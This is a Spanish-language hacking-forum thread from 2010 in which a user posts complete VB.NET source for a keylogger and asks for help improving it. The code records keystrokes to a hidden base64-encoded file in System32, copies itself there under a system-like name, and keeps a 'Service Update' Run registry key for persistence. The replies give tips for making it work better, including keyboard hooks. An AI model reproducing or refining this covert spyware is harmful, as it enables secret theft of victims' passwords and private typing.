elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Key Loger en VB .NET
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Key Loger en VB .NET  (Leído 3,281 veces)
estebanvr

Desconectado Desconectado

Mensajes: 28


Ver Perfil
Key Loger en VB .NET
« en: 17 Septiembre 2010, 16:56 pm »

Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código
  1. '--------------------------------------------------------------------------
  2. Imports System.Windows.Forms
  3. Module KLG
  4.  
  5.    Sub main()
  6.        Dim tiempo As DateTime = DateTime.Now
  7.  
  8.        If IO.File.Exists(ruta) = True Then
  9.            SetAttr(ruta, FileAttribute.Hidden)
  10.        End If
  11.  
  12.        Comprobar_el_reg()
  13.        copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
  14.        escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")
  15.  
  16.        While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)
  17.  
  18.            espera(70)
  19.            Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar
  20.  
  21.  
  22.            For i As Integer = 32 To 128
  23.                If comprobar_tecla(i) = True Then
  24.                    espera(70)
  25.                    escribe(Chr(i))
  26.                    Exit For
  27.                End If
  28.            Next
  29.  
  30.            If comprobar_tecla(13) = True Then
  31.                escribe(" (E) ")
  32.            End If
  33.  
  34.            If comprobar_tecla(8) = True Then
  35.                escribe(" (B) ")
  36.            End If
  37.  
  38.            If comprobar_tecla(9) = True Then
  39.                escribe(" (T) ")
  40.            End If
  41.  
  42.            If comprobar_tecla(27) = True Then
  43.                escribe(" (S) ")
  44.            End If
  45.  
  46.            If comprobar_tecla(32) = True Then
  47.                escribe(" ")
  48.            End If
  49.  
  50.            If comprobar_tecla(46) = True Then
  51.                escribe(".")
  52.            End If
  53.        End While
  54.  
  55.        escribe(">>EOR")
  56.        Application.Exit()
  57.    End Sub
  58.  
  59. End Module
  60. '--------------------------------------------------------------------------
  61. Aqui el modulo llamado Mod_Operaciones
  62.  
  63. Module Mod_Operaciones
  64.  
  65.    Friend Const ruta As String = "C:\Windows\System32\cssrs.001"
  66.  
  67. 'Escribe en el archivo cssrs.001 las lecturas registradas
  68. 'se le agrega un poco de seguridad convirtiendolo a base64
  69.  
  70.    Friend Sub escribe(ByVal cadena_tecla As String)
  71.        Dim archivo As New IO.StreamWriter(ruta, True)
  72.        archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
  73.        archivo.Flush()
  74.        archivo.Dispose()
  75.        archivo.Close()
  76.    End Sub
  77.  
  78. 'Copia el ejecutable de keylogger en el directorio system32
  79.    Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
  80.        If IO.File.Exists(ruta_destino) = True Then Exit Sub
  81.        IO.File.Copy(ruta_origen, ruta_destino)
  82.    End Sub
  83.  
  84. 'Intervalo de tiempo para las lecturas
  85.    Friend Sub espera(ByVal milisegundos As Integer)
  86.        Threading.Thread.Sleep(milisegundos)
  87.    End Sub
  88.  
  89. End Module
  90. '-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones
  91.  
  92. Imports Microsoft.Win32
  93. Module Mod_Subsistir
  94.  
  95.    Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
  96.  
  97. 'Comprueba si la clave de registro se encuentra en el sistema
  98. 'si no existe o si es borrada la crea
  99.  
  100.    Friend Sub Comprobar_el_reg()
  101.  
  102.        Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  103.  
  104.        If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then
  105.  
  106.            llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")
  107.  
  108.        End If
  109.    End Sub
  110.  
  111. 'Se encarga de saber que tecla ha sido pulsada
  112.    Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
  113.        If GAKS(tecla) <> 0 Then
  114.            Return True
  115.        End If
  116.    End Function
  117. End Module
  118. '--------------------------------------------------------------------------
  119.  
Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)

« Última modificación: 17 Septiembre 2010, 17:40 pm por estebanvr » En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: Key Loger en VB .NET
« Respuesta #1 en: 17 Septiembre 2010, 17:36 pm »

1. El código va entre las etiquetas [code=vbnet] -Aquí- [/code]
2. Usa variables de entorno. %WINDIR%
3. Usa la sentencia SWITCH
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Zzombi

Desconectado Desconectado

Mensajes: 174



Ver Perfil WWW
Re: Key Loger en VB .NET
« Respuesta #2 en: 20 Septiembre 2010, 01:45 am »

mejor usa un hook de teclado  :-\

aquí un código en C# (fácil pasarlo a vb.net)

http://en.wikipedia.org/wiki/Hooking
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines